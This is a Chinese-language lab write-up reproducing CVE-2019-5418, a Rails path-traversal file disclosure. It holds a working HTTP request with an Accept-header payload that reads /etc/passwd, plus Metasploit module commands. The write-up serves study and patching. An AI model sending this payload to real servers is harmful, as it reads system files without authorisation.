影响版本
Rails全版本
其中修复版本
6.0.0.beta3,
5.2.2.1
5.1.6.2
5.0.7.2
4.2.11.1
漏洞概述
补丁地址:
https://github.com/rails/rails/commit/f4c70c2222180b8d9d924f00af0c7fd632e26715
这个漏洞主要是由于网站使用了为指定参数的render file来渲染应用之外的视图,我们可以通过修改访问某控制器的请求包,通过“../../../../”来达到路径穿越的目的,然后再通过“{ {”来进行模板查询路径的闭合,使得所要访问的文件被当做外部模板来解析。
环境搭建
进入目录
cd vulhub-master/rails/CVE-2019-5418
启动环境
docker-compose up -d
完成启动
访问your-ip:3000
漏洞复现
发送数据包
GET /robots HTTP/1.1
Host: 192.168.204.131:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: ../../../../../../../../etc/passwd{
{
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 18 Mar 2019 20:48:59 GMT
Cache-Control: max-age=0
使用msf中的模块进行测试
use auxiliary/gather/rails_doubletap_file_read
set rhost 192.168.204.131
set rport 3000
set route robots
run
修复建议
升级到最新版本